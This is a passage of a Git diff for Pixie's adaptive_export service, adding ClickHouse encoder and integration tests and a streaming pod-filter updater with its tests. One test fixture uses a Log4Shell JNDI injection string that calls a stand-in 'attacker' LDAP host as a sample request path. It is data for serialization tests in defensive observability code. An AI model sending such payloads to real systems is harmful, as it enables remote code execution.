distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package sink + +import ( + "bytes" + "encoding/json" + "errors" + "reflect" + "strings" + "testing" + "time" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/clickhouse" +) + +// The fast encoder must produce byte-equivalent JSON to encoding/json +// up to map-key ordering (which CH doesn't care about — JSONEachRow +// is order-agnostic). Round-trip every per-table row shape through +// both encoders and require the PARSED maps are equal. + +func encodeViaJSON(rows []map[string]any) []byte { + var buf bytes.Buffer + enc := json.NewEncoder(&buf) + enc.SetEscapeHTML(false) + for _, r := range rows { + obj := make(map[string]any, len(r)) + for k, v := range r { + obj[k] = normalisePixieValue(v) + } + _ = enc.Encode(obj) + } + return buf.Bytes() +} + +func parseNDJSON(b []byte) []map[string]any { + var out []map[string]any + for _, line := range bytes.Split(bytes.TrimRight(b, "\n"), []byte("\n")) { + if len(line) == 0 { + continue + } + var m map[string]any + _ = json.Unmarshal(line, &m) + out = append(out, m) + } + return out +} + +func sampleHTTPRow(i int) map[string]any { + return map[string]any{ + "time_": time.Unix(0, int64(1_700_000_000_000_000_000+i)).UTC(), + "upid": "0000000100000000-00000000-0000000000000042", + "namespace": "log4j-poc", + "pod": "backend-vulnerable-779cd9d765-mxr8t", + "remote_addr": "10.0.0.45", + "remote_port": int64(54321), + "local_addr": "10.0.0.12", + "local_port": int64(8080), + "trace_role": int64(2), + "encrypted": uint8(0), + "major_version": int64(1), + "minor_version": int64(1), + "content_type": int64(0), + "req_headers": `{"Content-Type":"application/json"}`, + "req_method": "POST", + "req_path": "/api/v1/${jndi:ldap://attacker/Payload}", + "req_body": `{"id":42}`, + "req_body_size": int64(9), + "resp_headers": `{"Content-Type":"application/json"}`, + "resp_status": int64(500), + "resp_message": "Internal Server Error", + "resp_body": `{"error":"NPE"}`, + "resp_body_size": int64(16), + "latency": int64(123456789), + "hostname": "pixie-worker-node", + "event_time": time.Unix(0, int64(1_700_000_000_000_000_000+i)).UTC(), + } +} + +func TestFastEncode_EquivalentToEncodingJSON_HTTPEvents(t *testing.T) { + rows := []map[string]any{sampleHTTPRow(1), sampleHTTPRow(2), sampleHTTPRow(3)} + + var fast bytes.Buffer + if err := encodePixieRowsFast(&fast, "http_events", rows); err != nil { + t.Fatalf("encodePixieRowsFast: %v", err) + } + slow := encodeViaJSON(rows) + + gotFast := parseNDJSON(fast.Bytes()) + gotSlow := parseNDJSON(slow) + if !reflect.DeepEqual(gotFast, gotSlow) { + t.Fatalf("fast vs slow JSON diverged after parse:\n fast=%v\n slow=%v", gotFast, gotSlow) + } +} + +// Cover every pixie table — fast encoder should never silently drop +// columns or differ from the slow path for any of them. +func TestFastEncode_EquivalentToEncodingJSON_AllPixieTables(t *testing.T) { + for _, table := range clickhouse.PixieTables() { + t.Run(table, func(t *testing.T) { + cols, err := clickhouse.Columns(table) + if err != nil { + t.Fatalf("Columns(%q): %v", table, err) + } + // Synthesise one row matching the table's column shape. + row := map[string]any{} + for i, c := range cols { + switch { + case c == "time_" || c == "event_time": + row[c] = time.Unix(0, int64(1_700_000_000_000_000_000+i)).UTC() + case c == "encrypted" || c == "ssl": + row[c] = uint8(0) + case strings.Contains(c, "addr") || c == "pod" || c == "namespace" || c == "hostname" || c == "upid" || c == "comm": + row[c] = "value-" + c + case strings.HasSuffix(c, "_size") || strings.HasSuffix(c, "_count") || + strings.HasPrefix(c, "conn_") || strings.HasPrefix(c, "bytes_") || + strings.HasSuffix(c, "_port") || strings.HasSuffix(c, "_role") || + strings.HasSuffix(c, "_version") || strings.HasSuffix(c, "_family") || + c == "protocol" || c == "trace_role" || c == "content_type" || + c == "latency" || c == "resp_status" || c == "major_version" || c == "minor_version": + row[c] = int64(int64(i) + 1) + default: + row[c] = "v" + c + } + } + + var fast bytes.Buffer + if err := encodePixieRowsFast(&fast, table, []map[string]any{row}); err != nil { + t.Fatalf("fast: %v", err) + } + slow := encodeViaJSON([]map[string]any{row}) + + gotFast := parseNDJSON(fast.Bytes()) + gotSlow := parseNDJSON(slow) + if !reflect.DeepEqual(gotFast, gotSlow) { + t.Fatalf("%s fast vs slow diverged:\n fast=%v\n slow=%v", + table, gotFast, gotSlow) + } + }) + } +} + +// Unknown table → ErrUnknownTable so WritePixieRows falls back to the +// encoding/json path without erroring out. +func TestFastEncode_UnknownTable_FallsBack(t *testing.T) { + var buf bytes.Buffer + err := encodePixieRowsFast(&buf, "not_a_real_table", + []map[string]any{{"a": 1}}) + if !errors.Is(err, clickhouse.ErrUnknownTable) { + t.Fatalf("expected ErrUnknownTable, got %v", err) + } +} + +// Unsupported value type → errFastEncodeUnsupported so WritePixieRows +// falls back to encoding/json instead of producing a broken row. +func TestFastEncode_UnsupportedType_FallsBack(t *testing.T) { + type weirdType struct{ X int } + var buf bytes.Buffer + err := encodePixieRowsFast(&buf, "http_events", + []map[string]any{sampleHTTPRow(0), {"time_": weirdType{X: 1}}}) + if !errors.Is(err, errFastEncodeUnsupported) { + t.Fatalf("expected errFastEncodeUnsupported, got %v", err) + } +} + +// event_time derivation — pxapi rows don't carry event_time, only time_. +// The fast encoder MUST emit event_time = time_ rather than skip the +// column (which would silently fall back to CH's epoch-0 default and +// land every row in partition 197001 — rig 6a25c85c regression, aeprod6 +// silent-drop tail). This test is the T2 write-integrity guard +// the operator asked for on PR #47. +func TestFastEncode_EventTime_DerivedFromTime(t *testing.T) { + // Realistic Pixie timestamp; trailing fractional nanos verify the + // time.Time value is emitted verbatim through CH's DateTime64(9) + // shape, which CH then truncates to DateTime64(3) on insert. + pixieTS := time.Unix(0, 1_717_790_021_560_000_000).UTC() + row := sampleHTTPRow(0) + row["time_"] = pixieTS + delete(row, "event_time") // pxapi result rows arrive WITHOUT event_time + + var buf bytes.Buffer + if err := encodePixieRowsFast(&buf, "http_events", []map[string]any{row}); err != nil { + t.Fatalf("encodePixieRowsFast: %v", err) + } + parsed := parseNDJSON(buf.Bytes()) + if len(parsed) != 1 { + t.Fatalf("expected 1 row, got %d", len(parsed)) + } + et, ok := parsed[0]["event_time"].(string) + if !ok { + t.Fatalf("event_time absent from encoded row: %v", parsed[0]) + } + // The fast encoder formats time.Time as the CH DateTime64 string + // shape "YYYY-MM-DD HH:MM:SS.NNNNNNNNN" (UTC, 9 fractional digits). + // The exact serialised string the fast encoder produces for this UTC + // time.Time. The pin is by value (not derivation) so a regression in + // the time-string format also trips this test. + want := "2024-06-07 19:53:41.560000000" + if et != want { + t.Fatalf("event_time = %q, want %q (must equal time_ verbatim, not epoch 0)", et, want) + } +} + +// event_time NOT derived when the source row already carries it — caller- +// supplied event_time wins. Belt-and-suspenders: if a future code path +// already filled it correctly, the derivation must not overwrite. +func TestFastEncode_EventTime_NotOverwritten(t *testing.T) { + rowTS := time.Unix(0, 1_717_790_000_000_000_000).UTC() + differentTS := time.Unix(0, 1_700_000_000_000_000_000).UTC() + row := sampleHTTPRow(0) + row["time_"] = rowTS + row["event_time"] = differentTS // caller supplied; must be preserved + + var buf bytes.Buffer + if err := encodePixieRowsFast(&buf, "http_events", []map[string]any{row}); err != nil { + t.Fatal(err) + } + parsed := parseNDJSON(buf.Bytes()) + if et := parsed[0]["event_time"].(string); !strings.HasPrefix(et, "2023-11-14") { + t.Fatalf("caller-supplied event_time was overwritten: got %q", et) + } +} + +// Special characters in string columns must JSON-escape the same way +// encoding/json does — otherwise CH would parse different bytes than +// the slow path produces. Tab, newline, quote, backslash, control, +// emoji. +func TestFastEncode_StringEscapesMatch(t *testing.T) { + row := sampleHTTPRow(0) + row["req_body"] = "tab\there\nnewline \"quoted\" back\\slash \x01ctl ☃ emoji 🚀" + row["req_path"] = "/a/ÿ/utf8" + + var fast bytes.Buffer + if err := encodePixieRowsFast(&fast, "http_events", []map[string]any{row}); err != nil { + t.Fatal(err) + } + slow := encodeViaJSON([]map[string]any{row}) + + gotFast := parseNDJSON(fast.Bytes()) + gotSlow := parseNDJSON(slow) + if !reflect.DeepEqual(gotFast, gotSlow) { + t.Fatalf("escape divergence:\n fast=%v\n slow=%v", gotFast, gotSlow) + } +} diff --git a/src/vizier/services/adaptive_export/internal/sink/integration_test.go b/src/vizier/services/adaptive_export/internal/sink/integration_test.go new file mode 100644 index 00000000000..343510d991f --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/sink/integration_test.go @@ -0,0 +1,218 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +//go:build integration +// +build integration + +package sink_test + +import ( + "context" + "crypto/sha256" + "fmt" + "io" + "net/http" + "net/url" + "os" + "strings" + "testing" + "time" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/anomaly" + chpkg "px.dev/pixie/src/vizier/services/adaptive_export/internal/clickhouse" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/sink" +) + +// Live integration tests for the operator's ClickHouse write path. +// Driven against a real ClickHouse reachable at INTEGRATION_CH_ENDPOINT. +// Skipped if unset. + +func env(t *testing.T) (endpoint, user, pass string) { + t.Helper() + endpoint = os.Getenv("INTEGRATION_CH_ENDPOINT") + if endpoint == "" { + t.Skip("INTEGRATION_CH_ENDPOINT not set; skipping live ClickHouse test") + } + return endpoint, os.Getenv("INTEGRATION_CH_USER"), os.Getenv("INTEGRATION_CH_PASSWORD") +} + +func ensureSchema(t *testing.T, endpoint, user, pass string) { + t.Helper() + a, err := chpkg.NewApplier(endpoint, user, pass) + if err != nil { + t.Fatalf("NewApplier: %v", err) + } + ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second) + defer cancel() + if err := a.Apply(ctx); err != nil { + t.Fatalf("Apply (precondition): %v", err) + } +} + +func chCount(t *testing.T, endpoint, user, pass, query string) int { + t.Helper() + q := url.Values{} + q.Set("query", query) + req, _ := http.NewRequest(http.MethodGet, strings.TrimRight(endpoint, "/")+"/?"+q.Encode(), nil) + if user != "" { + req.SetBasicAuth(user, pass) + } + resp, err := (&http.Client{Timeout: 10 * time.Second}).Do(req) + if err != nil { + t.Fatalf("count: %v", err) + } + defer resp.Body.Close() + body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096)) + if resp.StatusCode/100 != 2 { + t.Fatalf("count HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(body))) + } + var n int + fmt.Sscanf(strings.TrimSpace(string(body)), "%d", &n) + return n +} + +// TestSinkWriteAttribution_Live exercises Write() — the operator's only +// production write surface (forensic_db.adaptive_attribution). One row +// per arriving anomaly; ReplacingMergeTree(t_end) collapses re-inserts. +func TestSinkWriteAttribution_Live(t *testing.T) { + endpoint, user, pass := env(t) + ensureSchema(t, endpoint, user, pass) + + s, err := sink.New(sink.Config{ + Endpoint: endpoint, + Username: user, + Password: pass, + }) + if err != nil { + t.Fatalf("sink.New: %v", err) + } + + // Unique anomaly_hash per test run — keeps assertions decoupled + // from any pre-existing rows. + tag := fmt.Sprintf("aw-test-%d", time.Now().UnixNano()) + sum := sha256.Sum256([]byte(tag)) + hash := anomaly.AnomalyHash(fmt.Sprintf("%x", sum[:8])) + + now := time.Now().UTC() + row := sink.AttributionRow{ + AnomalyHash: hash, + Namespace: "redis", + Pod: "redis-test", + Comm: "redis-server", + PID: 1234, + Hostname: tag, // unique hostname → unique row + TStart: now.Add(-5 * time.Minute), + TEnd: now.Add(5 * time.Minute), + LastSeen: now, + LastRuleID: "R1005", + NAnomalies: 1, + } + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + if err := s.Write(ctx, []sink.AttributionRow{row}); err != nil { + t.Fatalf("Write: %v", err) + } + + got := chCount(t, endpoint, user, pass, + fmt.Sprintf("SELECT count() FROM forensic_db.adaptive_attribution WHERE hostname='%s'", tag)) + if got != 1 { + t.Errorf("adaptive_attribution count for hostname=%s: got %d, want 1", tag, got) + } +} + +// TestSinkWritePixieRows_Live exercises WritePixieRows() against every +// pixie observation table the operator owns. This is the precise bug +// surface the user reported — silent INSERT failures here mean the +// per-table fan-out writes nothing and the analyst sees empty tables. +// +// One row per table, with a unique hostname per run so subsequent runs +// don't have to reset the cluster. +func TestSinkWritePixieRows_Live(t *testing.T) { + endpoint, user, pass := env(t) + ensureSchema(t, endpoint, user, pass) + + s, err := sink.New(sink.Config{ + Endpoint: endpoint, + Username: user, + Password: pass, + }) + if err != nil { + t.Fatalf("sink.New: %v", err) + } + + tag := fmt.Sprintf("aw-pix-%d", time.Now().UnixNano()) + now := time.Now().UTC() + ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second) + defer cancel() + + for _, table := range chpkg.PixieTables() { + row := minimalRowFor(table, tag, now) + if err := s.WritePixieRows(ctx, table, []map[string]any{row}); err != nil { + t.Errorf("WritePixieRows(%s): %v", table, err) + continue + } + ident := table + if strings.Contains(table, ".") { + ident = "`" + table + "`" + } + got := chCount(t, endpoint, user, pass, + fmt.Sprintf("SELECT count() FROM forensic_db.%s WHERE hostname='%s'", ident, tag)) + if got < 1 { + t.Errorf("table %s after WritePixieRows: count=%d, want >=1", table, got) + } + } +} + +// minimalRowFor returns the minimum-viable row map for a pixie +// observation table — only the columns the schema marks NOT NULL and +// that don't have DEFAULT clauses. The remaining columns get CH +// defaults (0 / "" / now). +func minimalRowFor(table, hostname string, t time.Time) map[string]any { + base := map[string]any{ + "time_": t.Format("2006-01-02 15:04:05.000000000"), + "upid": "0:0:0", + "hostname": hostname, + "event_time": t.Format("2006-01-02 15:04:05.000"), + "namespace": "default", + "pod": "test-pod", + } + // Some pixie tables use slightly different column shapes — provide + // the strict-minimum extras to avoid CH MissingColumn errors. + switch table { + case "http_events": + base["resp_status"] = 200 + base["latency"] = 0 + base["remote_port"] = 0 + base["local_port"] = 0 + case "dns_events": + base["remote_port"] = 53 + base["local_port"] = 0 + base["latency"] = 0 + case "redis_events", "mysql_events", "pgsql_events", "cql_events", "mongodb_events", + "amqp_events", "mux_events", "tls_events": + base["latency"] = 0 + base["remote_port"] = 0 + base["local_port"] = 0 + case "http2_messages.beta": + base["remote_port"] = 0 + base["local_port"] = 0 + case "kafka_events.beta": + base["latency"] = 0 + base["remote_port"] = 0 + base["local_port"] = 0 + } + return base +} diff --git a/src/vizier/services/adaptive_export/internal/streaming/BUILD.bazel b/src/vizier/services/adaptive_export/internal/streaming/BUILD.bazel new file mode 100644 index 00000000000..92ac47599bc --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/streaming/BUILD.bazel @@ -0,0 +1,43 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# SPDX-License-Identifier: Apache-2.0 + +load("@io_bazel_rules_go//go:def.bzl", "go_library") +load("//bazel:pl_build_system.bzl", "pl_go_test") + +go_library( + name = "streaming", + srcs = [ + "filter.go", + "notifier.go", + "scanner.go", + "supervisor.go", + "writer.go", + ], + importpath = "px.dev/pixie/src/vizier/services/adaptive_export/internal/streaming", + visibility = ["//src/vizier/services/adaptive_export:__subpackages__"], + deps = [ + "//src/vizier/services/adaptive_export/internal/activeset", + "@com_github_sirupsen_logrus//:logrus", + ], +) + +pl_go_test( + name = "streaming_test", + srcs = [ + "filter_test.go", + "integration_test.go", + "notifier_test.go", + "scanner_test.go", + ], + embed = [":streaming"], + deps = [ + "//src/vizier/services/adaptive_export/internal/activeset", + ], +) diff --git a/src/vizier/services/adaptive_export/internal/streaming/filter.go b/src/vizier/services/adaptive_export/internal/streaming/filter.go new file mode 100644 index 00000000000..07c9fbef236 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/streaming/filter.go @@ -0,0 +1,254 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +// Package streaming implements the rev-3 push-flow: long-running +// PxL submissions per pixie table, with a pod whitelist derived from +// the ActiveSet. See .local/adaptive-write-rev3-plan.md for the full +// architectural rationale. +package streaming + +import ( + "context" + "sync" + "time" + + log "github.com/sirupsen/logrus" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/activeset" +) + +// FilterMode selects how the embedded PxL whitelist is constructed. +type FilterMode int + +const ( + // FilterModeWhitelist embeds an explicit pod list in the PxL + // `df = df[df.pod.in_([...])]` clause. Optimal while the set is + // small. + FilterModeWhitelist FilterMode = iota + + // FilterModeUnfiltered emits the script WITHOUT a pod filter — + // the stream returns ALL pods on this node. Used when the active + // set exceeds MaxWhitelistSize: the PxL script-size limit + parse + // cost would dominate; we prefer to pull everything and filter + // in the operator's CH writer. Memory-speed filtering beats + // linear-in-N PxL parse cost. + FilterModeUnfiltered +) + +// String for log output. +func (m FilterMode) String() string { + switch m { + case FilterModeWhitelist: + return "whitelist" + case FilterModeUnfiltered: + return "unfiltered" + default: + return "unknown" + } +} + +// Filter is the immutable snapshot that a TableScanner uses to +// produce one PxL submission. +type Filter struct { + Mode FilterMode + Pods []activeset.Key // populated iff Mode == Whitelist + Version uint64 // ActiveSet version this filter was derived from +} + +// UpdaterConfig tunes the FilterUpdater. +type UpdaterConfig struct { + // Debounce coalesces multiple ActiveSet deltas into one filter + // emission. With many concurrent activations (e.g. cluster-wide + // incident), this caps re-submission rate at 1 / Debounce per + // TableScanner. 0 → 1 second default. + Debounce time.Duration + + // MaxWhitelistSize is the threshold at which we switch to + // FilterModeUnfiltered. 0 → 500 default. -1 disables the cap + // (whitelist always; PxL parse cost is yours to own). + MaxWhitelistSize int + + // SubscribeBuffer is the per-subscriber delta buffer size on the + // underlying ActiveSet subscription. 0 → 32 default. + SubscribeBuffer int +} + +func (c UpdaterConfig) defaulted() UpdaterConfig { + if c.Debounce <= 0 { + c.Debounce = 1 * time.Second + } + if c.MaxWhitelistSize == 0 { + c.MaxWhitelistSize = 500 + } + if c.SubscribeBuffer <= 0 { + c.SubscribeBuffer = 32 + } + return c +} + +// FilterUpdater bridges ActiveSet → TableScanner. It subscribes to +// ActiveSet deltas, debounces them, and emits a coalesced Filter on +// its output channel. Run() owns one goroutine. +type FilterUpdater struct { + set *activeset.ActiveSet + cfg UpdaterConfig + + // deltaCh is the underlying ActiveSet subscription, established + // at construction (not in Run) so callers can deterministically + // Upsert into `set` after NewUpdater returns and know those + // upserts will be delivered. Without this, Run's goroutine + // might not have subscribed to the set yet when the first + // Upsert lands → silent drop. + deltaCh <-chan activeset.Delta + + mu sync.Mutex + subs []chan Filter + closed bool +} + +// NewUpdater wires an updater AND establishes its ActiveSet +// subscription. Call Run(ctx) to start its goroutine. +func NewUpdater(set *activeset.ActiveSet, cfg UpdaterConfig) *FilterUpdater { + d := cfg.defaulted() + return &FilterUpdater{ + set: set, + cfg: d, + deltaCh: set.Subscribe(d.SubscribeBuffer), + } +} + +// Subscribe returns a buffered channel that receives a fresh Filter +// after each debounce window in which one or more deltas landed. +// Plus one initial Filter representing the current snapshot, so a +// subscriber can build its first PxL submission without waiting. +// +// Channel is closed when ctx (from Run) is cancelled. +func (u *FilterUpdater) Subscribe() <-chan Filter { + u.mu.Lock() + defer u.mu.Unlock() + ch := make(chan Filter, 4) + if !u.closed { + // Seed with the current snapshot so first PxL submission + // doesn't have to wait for a delta to arrive. + ch <- u.computeFilter() + } + u.subs = append(u.subs, ch) + return ch +} + +// Run owns the FilterUpdater goroutine until ctx is cancelled. +// +// Lifecycle: +// +// deltaCh = set.Subscribe(buffer) +// for { +// select { +// case <-ctx.Done(): close subs; return +// case <-deltaCh: schedule a fire at now+Debounce (idempotent) +// case <-fireTimer: compute filter; broadcast to subs +// } +// } +// +// The fire-timer is rearmed only when a delta arrives; in steady +// state with no deltas, this goroutine is dormant. +func (u *FilterUpdater) Run(ctx context.Context) { + defer u.closeSubs() + defer u.set.Unsubscribe(u.deltaCh) + + var pendingTimer *time.Timer + var pendingC <-chan time.Time + arm := func() { + if pendingTimer != nil { + return // already scheduled + } + pendingTimer = time.NewTimer(u.cfg.Debounce) + pendingC = pendingTimer.C + } + disarm := func() { + if pendingTimer != nil { + pendingTimer.Stop() + pendingTimer = nil + pendingC = nil + } + } + + for { + select { + case <-ctx.Done(): + disarm() + return + + case _, ok := <-u.deltaCh: + if !ok { + return + } + arm() + + case <-pendingC: + disarm() + f := u.computeFilter() + u.broadcast(f) + log.WithFields(log.Fields{ + "mode": f.Mode, + "pods": len(f.Pods), + "version": f.Version, + }).Debug("streaming.FilterUpdater: emitted filter") + } + } +} + +// computeFilter snapshots the ActiveSet and decides whether to embed +// a whitelist or fall back to unfiltered mode based on size. +func (u *FilterUpdater) computeFilter() Filter { + keys, version := u.set.Snapshot() + if u.cfg.MaxWhitelistSize > 0 && len(keys) > u.cfg.MaxWhitelistSize { + return Filter{Mode: FilterModeUnfiltered, Version: version} + } + return Filter{Mode: FilterModeWhitelist, Pods: keys, Version: version} +} + +// broadcast non-blockingly delivers to every subscriber. Subscribers +// that fall behind get the OLDEST filter dropped — the newest state +// always reaches them (their PxL re-submission is what matters; old +// filter versions are stale by construction). +func (u *FilterUpdater) broadcast(f Filter) { + u.mu.Lock() + defer u.mu.Unlock() + for _, ch := range u.subs { + select { + case ch <- f: + default: + select { + case <-ch: + default: + } + select { + case ch <- f: + default: + } + } + } +} + +func (u *FilterUpdater) closeSubs() { + u.mu.Lock() + defer u.mu.Unlock() + u.closed = true + for _, ch := range u.subs { + close(ch) + } + u.subs = nil +} diff --git a/src/vizier/services/adaptive_export/internal/streaming/filter_test.go b/src/vizier/services/adaptive_export/internal/streaming/filter_test.go new file mode 100644 index 00000000000..eac76a1581e --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/streaming/filter_test.go @@ -0,0 +1,233 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package streaming + +import ( + "context" + "testing" + "time" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/activeset" +) + +func TestFilterUpdater_DebouncesMultipleDeltas(t *testing.T) { + set := activeset.New() + u := NewUpdater(set, UpdaterConfig{Debounce: 50 * time.Millisecond}) + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + go u.Run(ctx) + ch := u.Subscribe() + + // Drain the initial snapshot (empty). + <-ch + + // Bombard with 10 distinct upserts inside the debounce window. + for i := 0; i < 10; i++ { + set.Upsert(activeset.Key{Pod: string(rune('a' + i))}, time.Now().Add(time.Minute)) + } + + // Wait one debounce window + slack and count how many filter + // emissions arrived. Should be exactly one — the coalesced one. + deadline := time.After(300 * time.Millisecond) + count := 0 + var lastF Filter + collecting := true + for collecting { + select { + case f := <-ch: + count++ + lastF = f + case <-deadline: + collecting = false + } + } + if count != 1 { + t.Fatalf("expected 1 coalesced filter emission, got %d", count) + } + if len(lastF.Pods) != 10 { + t.Fatalf("expected 10 pods in coalesced filter, got %d", len(lastF.Pods)) + } +} + +func TestFilterUpdater_FallsBackToUnfilteredOnSizeCap(t *testing.T) { + set := activeset.New() + u := NewUpdater(set, UpdaterConfig{ + Debounce: 20 * time.Millisecond, + MaxWhitelistSize: 3, + }) + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + go u.Run(ctx) + ch := u.Subscribe() + <-ch // initial empty + + for i := 0; i < 5; i++ { + set.Upsert(activeset.Key{Pod: string(rune('a' + i))}, time.Now().Add(time.Minute)) + } + select { + case f := <-ch: + if f.Mode != FilterModeUnfiltered { + t.Fatalf("expected unfiltered mode (5 > cap 3), got %v", f.Mode) + } + case <-time.After(200 * time.Millisecond): + t.Fatalf("no filter emission") + } +} + +// TestFilterUpdater_CapBoundary_AtLimit — exactly MaxWhitelistSize +// pods MUST stay in whitelist mode (not flip to unfiltered). +func TestFilterUpdater_CapBoundary_AtLimit(t *testing.T) { + set := activeset.New() + u := NewUpdater(set, UpdaterConfig{ + Debounce: 10 * time.Millisecond, + MaxWhitelistSize: 3, + }) + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + go u.Run(ctx) + ch := u.Subscribe() + <-ch + for i := 0; i < 3; i++ { + set.Upsert(activeset.Key{Pod: string(rune('a' + i))}, time.Now().Add(time.Minute)) + } + f := waitForFilter(t, ch, 300*time.Millisecond) + if f.Mode != FilterModeWhitelist { + t.Fatalf("at exactly cap=3, expected whitelist, got %v", f.Mode) + } + if len(f.Pods) != 3 { + t.Fatalf("expected 3 pods in whitelist, got %d", len(f.Pods)) + } +} + +// TestFilterUpdater_CapBoundary_OneOverLimit — cap+1 pods MUST flip +// to unfiltered. This is the exact boundary just above the cap. +func TestFilterUpdater_CapBoundary_OneOverLimit(t *testing.T) { + set := activeset.New() + u := NewUpdater(set, UpdaterConfig{ + Debounce: 10 * time.Millisecond, + MaxWhitelistSize: 3, + }) + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + go u.Run(ctx) + ch := u.Subscribe() + <-ch + for i := 0; i < 4; i++ { + set.Upsert(activeset.Key{Pod: string(rune('a' + i))}, time.Now().Add(time.Minute)) + } + f := waitForFilter(t, ch, 300*time.Millisecond) + if f.Mode != FilterModeUnfiltered { + t.Fatalf("at cap+1=4, expected unfiltered, got %v with %d pods", f.Mode, len(f.Pods)) + } +} + +// TestFilterUpdater_CapBoundary_RecoversAfterShrink — going from +// unfiltered (set was huge) back to a small set MUST switch back to +// whitelist mode. Without this, a transient burst that hit the cap +// would force unfiltered mode forever. +func TestFilterUpdater_CapBoundary_RecoversAfterShrink(t *testing.T) { + set := activeset.New() + u := NewUpdater(set, UpdaterConfig{ + Debounce: 10 * time.Millisecond, + MaxWhitelistSize: 3, + }) + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + go u.Run(ctx) + ch := u.Subscribe() + <-ch + + // Burst above cap. + for i := 0; i < 10; i++ { + set.Upsert(activeset.Key{Pod: string(rune('a' + i))}, time.Now().Add(time.Minute)) + } + f := waitForFilter(t, ch, 300*time.Millisecond) + if f.Mode != FilterModeUnfiltered { + t.Fatalf("expected unfiltered after burst, got %v", f.Mode) + } + // Shrink back below cap. + for i := 3; i < 10; i++ { + set.Remove(activeset.Key{Pod: string(rune('a' + i))}) + } + // Drain any intermediate filters; verify the LATEST emission is + // back to whitelist mode. + deadline := time.Now().Add(500 * time.Millisecond) + last := f + for time.Now().Before(deadline) { + select { + case last = <-ch: + case <-time.After(100 * time.Millisecond): + } + if last.Mode == FilterModeWhitelist { + return // recovered + } + } + t.Fatalf("did not recover to whitelist mode after shrink; last mode=%v pods=%d", + last.Mode, len(last.Pods)) +} + +// TestFilterUpdater_CapDisabled_AllowsAnySize — when MaxWhitelistSize <= 0 +// the cap is disabled and even very large sets stay in whitelist mode. +func TestFilterUpdater_CapDisabled_AllowsAnySize(t *testing.T) { + set := activeset.New() + u := NewUpdater(set, UpdaterConfig{ + Debounce: 10 * time.Millisecond, + MaxWhitelistSize: -1, // explicit disable + }) + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + go u.Run(ctx) + ch := u.Subscribe() + <-ch + for i := 0; i < 100; i++ { + set.Upsert(activeset.Key{Pod: string(rune('a'+i%26)) + string(rune('a'+i/26))}, time.Now().Add(time.Minute)) + } + f := waitForFilter(t, ch, 300*time.Millisecond) + if f.Mode != FilterModeWhitelist { + t.Fatalf("with cap disabled (=-1), expected whitelist; got %v", f.Mode) + } +} + +// waitForFilter polls ch until a filter shows up, returning it. +func waitForFilter(t *testing.T, ch <-chan Filter, timeout time.Duration) Filter { + t.Helper() + select { + case f := <-ch: + return f + case <-time.After(timeout): + t.Fatalf("no filter within %v", timeout) + return Filter{} + } +} + +func TestFilterUpdater_InitialSnapshotIsSeeded(t *testing.T) { + set := activeset.New() + set.Upsert(activeset.Key{Namespace: "n", Pod: "p1"}, time.Now().Add(time.Minute)) + u := NewUpdater(set, UpdaterConfig{Debounce: 50 * time.Millisecond}) + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + go u.Run(ctx) + ch := u.Subscribe() + select { + case f := <-ch: + if len(f.Pods) != 1 || f.Pods[0].Pod != "p1" { + t.Fatalf("initial snapshot wrong: %+v", f) + } + case <-time.After(200 * time.Millisecond): + t.Fatalf("no initial filter") + } +} diff --git a/src/vizier/services/adaptive_export/internal/streaming/integration_test.go b/src/vizier/services/adaptive_export/internal/streaming/integration_test.go new file mode 100644 index 00000000000..74140269736 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/streaming/integration_test.go @@ -0,0 +1,268 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// 